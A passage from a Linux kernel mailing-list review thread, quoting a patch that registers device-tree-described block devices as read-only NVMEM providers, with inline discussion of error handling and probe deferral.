> > +     return ret;
> > +}
> > +
> > +void blk_nvmem_add(struct block_device *bdev)
> > +{
> > +     struct device *dev = &bdev->bd_device;
> > +     struct nvmem_config config = {};
> > +
> > +     /* skip devices which do not have a device tree node */
> > +     if (!dev_of_node(dev))
> > +             return;
> > +
> > +     /* skip devices without an nvmem layout defined */
> > +     struct device_node *child __free(device_node) =
> > +             of_get_child_by_name(dev_of_node(dev), "nvmem-layout");
> > +     if (!child)
> > +             return;
> > +
> > +     /*
> > +      * skip block device too large to be represented as NVMEM devices,
> > +      * the NVMEM reg_read callback uses an unsigned int offset
> > +      */
> > +     if (bdev_nr_bytes(bdev) > UINT_MAX) {
> > +             dev_warn(dev, "block device too large to be an NVMEM provider\n");
> > +             return;
> > +     }
> > +
> > +     config.id = NVMEM_DEVID_NONE;
> > +     config.dev = dev;
> > +     config.name = dev_name(dev);
> > +     config.owner = THIS_MODULE;
> > +     config.priv = (void *)(uintptr_t)dev->devt;
> > +     config.reg_read = blk_nvmem_reg_read;
> > +     config.size = bdev_nr_bytes(bdev);
> > +     config.word_size = 1;
> > +     config.stride = 1;
> > +     config.read_only = true;
> > +     config.root_only = true;
> > +     config.ignore_wp = true;
> > +     config.of_node = to_of_node(dev->fwnode);
> > +
> > +     bdev->bd_nvmem = nvmem_register(&config);
> > +     if (IS_ERR(bdev->bd_nvmem)) {
> > +             dev_err_probe(dev, PTR_ERR(bdev->bd_nvmem),
> > +                           "Failed to register NVMEM device\n");
>
> Using dev_err_probe() only makes sense with a return value. Which makes me
> think: we won't retry this after a probe deferral. I think we should return

Yes, so here with the nvmem fixed-layout, there is no way to get a
deferred probe error, but better to be ready to handle this anyway.

> int from this function just for this use-case. Also: if we *do* have
> a layout, shouldn't we treat a failure to register the nvmem provider as
> a an error and propagate it up the stack?

From an API perspective we should indeed return the error. From block
core, Do we want to fail the entire disk addition just because the
'companion' NVMEM provider couldn't be registered, or should we only
abort/return in case of EPROBE_DEFER?

>
> > +             bdev->bd_nvmem = NULL;
> > +     }
> > +}
> > +
> > +void blk_nvmem_del(struct block_device *bdev)
> > +{
> > +     if (bdev->bd_nvmem)
>
> Nvmem core already performs a NULL check.

Ok, thanks!


>
> > +             nvmem_unregister(bdev->bd_nvmem);
> > +
> > +     bdev->bd_nvmem = NULL;
> > +}
> > diff --git a/block/blk.h b/block/blk.h
> > index ec4674cdf2ead4fd259ff5fc42401f591e684ee9..cd3c7ca723391c40be56f1dd4810e641b7c8a2b3 100644
> > --- a/block/blk.h
> > +++ b/block/blk.h
> > @@ -757,4 +757,12 @@ static inline void blk_debugfs_unlock(struct request_queue *q,
> >       memalloc_noio_restore(memflags);
> >  }
> >
> > +#ifdef CONFIG_BLK_NVMEM
> > +void blk_nvmem_add(struct block_device *bdev);
> > +void blk_nvmem_del(struct block_device *bdev);
> > +#else
> > +static inline void blk_nvmem_add(struct block_device *bdev) {}
> > +static inline void blk_nvmem_del(struct block_device *bdev) {}
> > +#endif
> > +
> >  #endif /* BLK_INTERNAL_H */
> > diff --git a/block/genhd.c b/block/genhd.c
> > index 7d6854fd28e95ae9134309679a7c6a937f5b7db8..1b2382de6fb30c1e5f60f45c04dc03ed3bf5d5f2 100644
> > --- a/block/genhd.c
> > +++ b/block/genhd.c
> > @@ -421,6 +421,8 @@ static void add_disk_final(struct gendisk *disk)
> >                */
> >               dev_set_uevent_suppress(ddev, 0);
> >               disk_uevent(disk, KOBJ_ADD);
> > +
> > +             blk_nvmem_add(disk->part0);
> >       }
> >
> >       blk_apply_bdi_limits(disk->bdi, &disk->queue->limits);
> > @@ -704,6 +706,8 @@ static void __del_gendisk(struct gendisk *disk)
> >
> >       disk_del_events(disk);
> >
> > +     blk_nvmem_del(disk->part0);
> > +
> >       /*
> >        * Prevent new openers by unlinked the bdev inode.
> >        */
> > diff --git a/include/linux/blk_types.h b/include/linux/blk_types.h
> > index 8808ee76e73c09e0ceaac41ba59e86fb0c4efc64..ace6f59b860d0813665b2f62a1c03a1f4be94059 100644
> > --- a/include/linux/blk_types.h
> > +++ b/include/linux/blk_types.h
> > @@ -73,6 +73,9 @@ struct block_device {
> >       int                     bd_writers;
> >  #ifdef CONFIG_SECURITY
> >       void                    *bd_security;
> > +#endif
> > +#ifdef CONFIG_BLK_NVMEM
> > +     struct nvmem_device     *bd_nvmem;
> >  #endif
> >       /*
> >        * keep this out-of-line as it's both big and not needed in the fast
> > diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h
> > index 890128cdea1ce66863c5baa36f3b336ec4550807..f15d2b5bf9e4fd2368b8a70416a978e22c0d4333 100644
> > --- a/include/linux/blkdev.h
> > +++ b/include/linux/blkdev.h
> > @@ -30,6 +30,7 @@
> >
> >  struct module;
> >  struct request_queue;
> > +struct nvmem_device;
> >  struct elevator_queue;
> >  struct blk_trace;
> >  struct request;
> >
> > --
> > 2.34.1
> >
> >
>
> I like this approach better than the previous one.
>
> Thanks,
> Bartosz

^ permalink raw reply


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox